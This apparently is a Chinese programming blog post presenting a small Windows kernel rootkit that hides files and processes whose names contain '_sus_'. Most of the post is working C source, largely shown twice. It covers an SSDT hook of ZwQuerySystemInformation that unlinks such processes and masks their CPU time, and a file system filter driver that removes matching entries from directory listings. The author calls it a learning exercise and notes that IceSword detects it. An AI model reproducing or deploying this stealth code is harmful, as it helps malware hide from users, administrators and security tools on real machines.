一个rootkit程序--隐藏文件和进程

最新推荐文章于 2022-04-16 15:09:33 发布
最新推荐文章于 2022-04-16 15:09:33 发布
阅读量1.5k 收藏
点赞数

This is SUS's rootkit. It can hide files and processes
   when their names include "_sus_".
=================================================================
Written by dklkt.  2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]             Install and start the SUS's rootkit.
       sushide2003  -uninstall          Uninstall the rootkit.
-----------------------------------------------------------------   

直接运行,或者加参数-start运行,都是安装并开始rootkit.而加参数-uninstall则是停掉并移除rootkt.

    这个程序的功能是隐藏所有文件名中含有_sus_的文件,并且也在进程中隐藏它们.

    下面说说具体的功能实现:

    1.隐藏进程.

       隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表

).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统, 有个叫

ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将

NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程

的目的.
     这个是新写的ZwQuerySystemInformation函数:
NTSTATUS NewZwQuerySystemInformation(   
            IN ULONG SystemInformationClass,   
            IN PVOID SystemInformation,   
            IN ULONG SystemInformationLength,   
            OUT PULONG ReturnLength)   
{   
  
   NTSTATUS ntStatus;   
  
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (   
          SystemInformationClass,   
          SystemInformation,   
          SystemInformationLength,   
          ReturnLength );   
  
   if( NT_SUCCESS(ntStatus))    
   {   
      // Asking for a file and directory listing   
      if(SystemInformationClass == 5)   
      {   
       // This is a query for the process list.   
             
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *) SystemInformation;   
         struct _SYSTEM_PROCESSES *prev = NULL;   
        
     while(curr)   
     {   
            //DbgPrint("Current item is %x/n", curr);   
      if (curr->ProcessName.Buffer != NULL)   
      {   
        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),  L"_sus_") )    //进程名中包含_sus_则隐藏   
        {   
          m_UserTime.QuadPart += curr->UserTime.QuadPart;   
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;   
  
          if(prev) // Middle or Last entry   
          {   
            if(curr->NextEntryDelta)   
              prev->NextEntryDelta += curr->NextEntryDelta;   
            else  // we are last, so make prev the  end   
              prev->NextEntryDelta = 0;   
          }   
          else  
          {   
            if(curr->NextEntryDelta)   
            {   
              // we are first in the list, so  move it forward   
              (char *)SystemInformation += curr- >NextEntryDelta;   
            }   
            else // we are the only process!   
              SystemInformation = NULL;   
          }   
        }   
      }   
      else // This is the entry for the Idle process   
      {   
         // Add the kernel and user times of _root_*    
         // processes to the Idle process.   
         curr->UserTime.QuadPart += m_UserTime.QuadPart;   
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;   
  
         // Reset the timers for next time we filter   
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;   
      }   
      prev = curr;   
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);   
        else curr = NULL;   
       }   
    }   
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes   
    {   
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;   
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;   
    }   
  
   }   
   return ntStatus;   
} 

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

   if( NT_SUCCESS(ntStatus)) 
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
       // This is a query for the process list.

     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
     
     while(curr)
     {
            //DbgPrint("Current item is %x/n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {

        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),L"_sus_") )    //进程名中包含_sus_则隐藏
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)

              prev->NextEntryDelta += curr->NextEntryDelta;

            else  // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {

              // we are first in the list, so move it forward

              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // This is the entry for the Idle process
      {
         // Add the kernel and user times of _root_* 
         // processes to the Idle process.
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

         // Reset the timers for next time we filter
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    {

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

   }
   return ntStatus;
}    2.隐藏文件

      本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直

接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我

这里只是简单的修改了一下DDK开发包里提供的sfilter例子.
     首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================   
NTSTATUS   
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,   
                   IN PIRP Irp)   
{   
    NTSTATUS status;   
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp   
  
(IO_STACK_LOCATION)的参数   
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;   
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;   
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;   
    KEVENT waitEvent;   
    //UNICODE_STRING path;   
  
    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));   
  
    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)   
    {   
        goto SkipHandle;   
    }   
    if (Irp->RequestorMode == KernelMode)   
    {   
        goto SkipHandle;   
    }   
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )   
  {   
    goto SkipHandle;   
  }   
  /*  
    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)   
    {      
        goto SkipHandle;  
    }*/  
  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)   
  {   
    goto SkipHandle;   
  }   
    //设置完成回调函数   
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);   
    IoCopyCurrentIrpStackLocationToNext(Irp);   
    //IoSetCompletionRoutine   
  
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);   
    IoSetCompletionRoutine(       
                            Irp,   
                            DirControlCompletion,        //CompletionRoutine   
                            &waitEvent,                    //context parameter   
                            TRUE,   
                            TRUE,   
                            TRUE   
                            );   
  
    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);   
    if (STATUS_PENDING == status)   
    {   
        //等待完成   
        status = KeWaitForSingleObject(&waitEvent,   
                                        Executive,   
                                        KernelMode,   
                                        FALSE,   
                                        NULL   
                                        );   
        ASSERT(STATUS_SUCCESS == status);   
    }   
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))    
    {       
        IoCompleteRequest(Irp, IO_NO_INCREMENT);   
        return status;   
    }   
    //KdPrint(("Hook Directory./n"));   
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);   
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));   
  
    IoCompleteRequest(Irp, IO_NO_INCREMENT);   
    return status;   
  
SkipHandle:   
    IoSkipCurrentIrpStackLocation(Irp);   
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);   
} 

//=================================================
NTSTATUS  FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    NTSTATUS status;

    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp(IO_STACK_LOCATION)的参数
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
    KEVENT waitEvent;
    //UNICODE_STRING path;

    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
    {
        goto SkipHandle;
    }
    if (Irp->RequestorMode == KernelMode)
    {
        goto SkipHandle;
    }
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )
  {
    goto SkipHandle;
  }
  /*

    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass) 
    {    
        goto SkipHandle;
    }*/

  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)
  {
    goto SkipHandle;
  }
    //设置完成回调函数
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
    IoCopyCurrentIrpStackLocationToNext(Irp);
    //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
    IoSetCompletionRoutine(    
                            Irp,
                            DirControlCompletion,        //CompletionRoutine
                            &waitEvent,                    //context parameter
                            TRUE,
                            TRUE,
                            TRUE
                            );

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
    if (STATUS_PENDING == status)
    {
        //等待完成
        status = KeWaitForSingleObject(&waitEvent,
                                        Executive,
                                        KernelMode,
                                        FALSE,
                                        NULL
                                        );
        ASSERT(STATUS_SUCCESS == status);
    }
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length)) 
    {    
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }
    //KdPrint(("Hook Directory./n"));
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;

SkipHandle:
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后对返回的结果进行操作:view plaincopy to clipboardprint?
//-------------------------------------------   
//隐藏文件过滤的函数   
BOOLEAN  HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)   
{   
  //处理目录操作   
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;   
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;   
  ULONG offset = 0;   
  ULONG position = 0;   
  ULONG newLenth = *lpBufLenth;   
//  WCHAR fileName[] = L"Test.txt";   
  do  
  {   
    offset = currentDirInfo->NextEntryOffset;   
    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中包含_sus_则隐藏   
    {   
      //Now We Will Test The FileName   
      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));   
      if (0 == offset)   
      {   
        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth, position, newLenth-(*lpBufLenth - position)));   
        //Reset Last DirInfo NextEntryOffset To Zero!!!   
        if (lastDirInfo)   
        {   
          lastDirInfo->NextEntryOffset = 0;   
          newLenth -= *lpBufLenth - position;   
        }   
        else  
        {   
          currentDirInfo->NextEntryOffset = 0;   
          *lpBufLenth = 0;   
          return TRUE;   
        }   
      }   
      else  
      {   
        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,  position));   
        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);   
        newLenth -= offset;   
        position += offset;   
      }   
    }   
    else  
    {   
      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,    
  
currentDirInfo->FileName));   
      //Move Next   
      position += offset;   
      lastDirInfo = currentDirInfo;   
      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);   
    }   
  } while (0 != offset);   
  *lpBufLenth = newLenth;   
  return TRUE;   
}   
//-------------------------------   
//完成例程   
NTSTATUS   
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)   
{   
  PKEVENT event = Context;   
  
    UNREFERENCED_PARAMETER( DeviceObject );   
    UNREFERENCED_PARAMETER( Irp );   
  
    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));   
  
  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);   
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);   
  
    return STATUS_MORE_PROCESSING_REQUIRED;    
} 

//-------------------------------------------
//隐藏文件过滤的函数
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
  //处理目录操作
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
  ULONG offset = 0;
  ULONG position = 0;
  ULONG newLenth = *lpBufLenth;
//  WCHAR fileName[] = L"Test.txt";
  do
  {
    offset = currentDirInfo->NextEntryOffset;

    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中含_sus_则隐藏
    {
      //Now We Will Test The FileName

      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
      if (0 == offset)
      {

        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth,position, newLenth-(*lpBufLenth - position)));
        //Reset Last DirInfo NextEntryOffset To Zero!!!
        if (lastDirInfo)
        {
          lastDirInfo->NextEntryOffset = 0;
          newLenth -= *lpBufLenth - position;
        }
        else
        {
          currentDirInfo->NextEntryOffset = 0;
          *lpBufLenth = 0;
          return TRUE;
        }
      }
      else
      {

        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,position));

        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);
        newLenth -= offset;
        position += offset;
      }
    }
    else
    {

      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,currentDirInfo->FileName));
      //Move Next
      position += offset;
      lastDirInfo = currentDirInfo;

      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
    }
  } while (0 != offset);
  *lpBufLenth = newLenth;
  return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
  PKEVENT event = Context;

    UNREFERENCED_PARAMETER( DeviceObject );
    UNREFERENCED_PARAMETER( Irp );

    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);

    return STATUS_MORE_PROCESSING_REQUIRED; 
}     因为还是初学rootkit,所以以上代码并非本人原创, 特此声明. 在此也感谢下作者. 很多地方我也

是正在学习中. 目前正在看Greg Hoglund 和James Butler写的《ROOTKITS--Windows内核的安全防护》

。也给大家推荐下。另外，顺便提下，本程序中所用到的方法都可以被IceSword检测到。

BruceEditCode
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
基于C++的Rootkit端口隐藏技术详解
m0_57781768的博客
06-08 807
隐蔽性：通过修改系统内核和关键文件，隐藏自身及其活动，逃避安全检测。持久性：一旦安装成功，Rootkit能够在系统重启后继续运行，保持对系统的控制。多功能性：Rootkit不仅能够隐藏自身，还能够隐藏其他恶意软件，实现键盘记录、文件隐藏、网络连接隐藏等功能。钩子技术是一种用于拦截和修改系统API调用的技术，通过插入钩子函数，拦截目标API的调用，并在钩子函数中进行自定义处理后再返回结果。钩子技术广泛应用于调试工具、性能监控和恶意软件中。// 调用原始API// 自定义处理逻辑。
linux下2.6.32的rootkit，隐藏文件目录
10-09
使用的是enyelkm v1.1本身的获取系统调用表的过程。 隐藏文件、目录通过修改sys_call_table第220项。
rootkit，文件，进程隐藏
11-05
rootkit，backdoor，系统调用劫持，ps进程隐藏，ls文件隐藏，代码
linux隐藏文件导出,看我如何通过Linux Rootkit实现文件隐藏
weixin_36296063的博客
04-28 679
预估稿费：180RMB投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿前言一直以来，我希望能深入了解Linux内核内部是如何工作的。为实现这一点，有一个比较好的思路是写一个小的Rootkit PoC。大家可以在这里找到相关Rootkit代码。这是一个非常简单的Rootkit。其功能是，隐藏特定前缀的文件使其不可见。然而，假如我们知道这些文件或文件夹的位置，就仍然可以访问它们。但...
Rootkit---进程隐藏
q759451733的博客
04-16 5114
进程隐藏
在2000和xp下，隐藏进程.rar_rootkit_进程 隐藏_进程隐藏_隐藏 进程_隐藏进程
09-14
标题中的“在2000和xp下，隐藏进程.rar_rootkit_进程 隐藏_进程隐藏_隐藏 进程_隐藏进程”涉及到的是在Windows 2000和Windows XP操作系统环境下，如何通过Rootkit技术来隐藏进程的知识点。Rootkit是一种恶意软件工具...
反隐藏进程技术检测技术 基本能查出当前所有Rootkit隐藏的进程 利用挂钩线程调度链表来实现.zip
01-28
文件列表中的"kmodule.c"可能是一个用于加载到内核的模块代码，它可能包含了实现这种反隐藏进程检测的函数。"Myklister.sys"则很可能是一个驱动程序，该驱动可能负责实际的SSDT和线程调度链表的检查工作。而...
隐藏：具有用户模式界面的Windows驱动程序，可以隐藏文件系统和注册表的对象，保护进程等
02-05
在本文中，我们将深入探讨一个特定类型的驱动程序，即“隐藏”——一个具有用户模式界面的Windows驱动程序，它具备隐藏文件系统和注册表对象的能力，以及保护进程的功能。这些特性在恶意软件分析和安全防御中具有...
ring0驱动内核级的ROOTKIT实现隐藏文件，隐藏注册表项，隐藏端口.zip
01-27
Ring0驱动程序是操作系统内核最底层的...总的来说，Ring0驱动的Rootkit是网络安全领域的一个重大挑战，它利用了操作系统最核心的部分来达到其隐蔽目的。理解其工作原理并采取适当的防护措施，是保障系统安全的关键。
[Rootkit] 进程隐藏 - 内存加载（寄生&僵尸进程）
CSDN
07-16 7476
这就导致了另一个问题：同样一个段，在磁盘中相对文件起始的距离，和内存中相对imageBase的距离是不一样的(因为地址对齐，拉伸了)！所以只能把需要用到的这些系统函数统一放在一张叫做导入表的表格，explorer加载的时候还要挨个遍历导入表，一旦发现该PE文件用到了某些系统API，需要用这些API在内存的真实地址替换PE文件中call的地址(这也是用OD、x96dbg这些常见的调试器能找到这些系统函数的根本原因：都是系统提供的嘛，函数名必须保存起来，否则加载的时候没法替换成内存中真正的地址)！
rootkit进程隐藏
02-29
基于windows的隐藏进程的程序，vc6.0编译通过。
Rootkit 隐藏进程 delphi代码
01-12
api Hook NtQuerySystemInformation实现隐藏指定进程。
rootkit：实现隐藏进程
weixin_34054866的博客
05-01 295
实现隐藏进程一般有两个方法： 1，把要隐藏的进程PID设置为0，因为系统默认是不显示PID为0的进程。 2，修改系统调用sys_getdents（）。 Linux系统中用来查询文件信息的系统调用是sys_getdents，这一点可以通过strace来观察到，例如strace ls 将列出命令ls用到的系统调用，从中可以发现ls是通过getdents系统调用来操作的，对应于内核里的s...
rootkit:在隐藏模块的基础上隐藏进程
cnbird's blog
09-13 1273
http://www.cnblogs.com/justcxtoworld/archive/2013/05/01/3053554.html
Rootkit进程篇之进程隐藏 ( SSDT Hook QuerySystemInformation )
weixin_30764883的博客
07-11 149
标 题:Rootkit进程篇之进程隐藏 QuerySystemInformation作 者: Y4ng时 间: 2012-07-11 18:30:26 星期三链 接:http://www.cnblogs.com/Y4ng/archive/2012/07/11/2586812.html rootkit 系列课程在断断续续的学习着，到今天也算一个小阶段因为驱动算是入门了；之前看张帆老师的《Win...
驱动实现RootKit文件隐藏
多媒体编程、网络编程、系统编程、网络安全编程、驱动编程
06-30 2107
以下代码已经经过测试可以正确编译运行。效果也正常实现，可以作为学习驱动的一个示例代码。 #include "ntddk.h" #include #pragma pack(1) //SSDT Table typedef struct ServiceDescriptorEntry {         unsigned int *ServiceTableBase;
RootKit的隐藏文件
errorlife的专栏
08-09 1696
#include "ntddk.h"#define DWORD unsigned long#define WORD unsigned short#define BOOL unsigned long#pragma pack(1)typedef struct ServiceDescriptorEntry { unsigned int *ServiceTableBase; unsigned in
RootKit　Ring0用hook方式隐藏进程
rageliu的专栏
10-26 2148
以前使用文件过滤驱动，测试了下内核级的hook好象，就实现了进程的隐藏，好象比filter　driver简单得多，找时间添加hook功能 
rootkit后门程序具有哪些特点？ 隐藏进程 隐藏文件 隐藏端口
最新发布
06-12
Rootkit后门程序具有以下特点： 1. 隐藏进程：Rootkit后门程序可以隐藏自己的进程和线程，从而避免被系统管理员或杀毒软件发现。 2. 隐藏文件：Rootkit后门程序可以隐藏自己的文件和目录，从而避免被系统管理员或杀毒软件发现。 3. 隐藏端口：Rootkit后门程序可以监听一个或多个网络端口，并隐藏自己的端口连接信息，从而避免被系统管理员或网络安全工具发现。 4. 自动启动：Rootkit后门程序可以在系统启动时自动启动，从而始终在后台运行。 5. 修改系统API：Rootkit后门程序可以修改系统的API，从而欺骗系统管理员或安全工具，隐藏自己的存在。 6. 伪装成合法程序：Rootkit后门程序可以伪装成合法的进程或服务，从而避免被系统管理员或杀毒软件发现。 因此，Rootkit后门程序具有很强的隐蔽性和欺骗性，可以长期潜伏在系统中，对系统进行监控、窃取信息或进行攻击。对于系统管理员和安全工程师来说，及时发现和清除Rootkit后门程序具有重要的意义。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值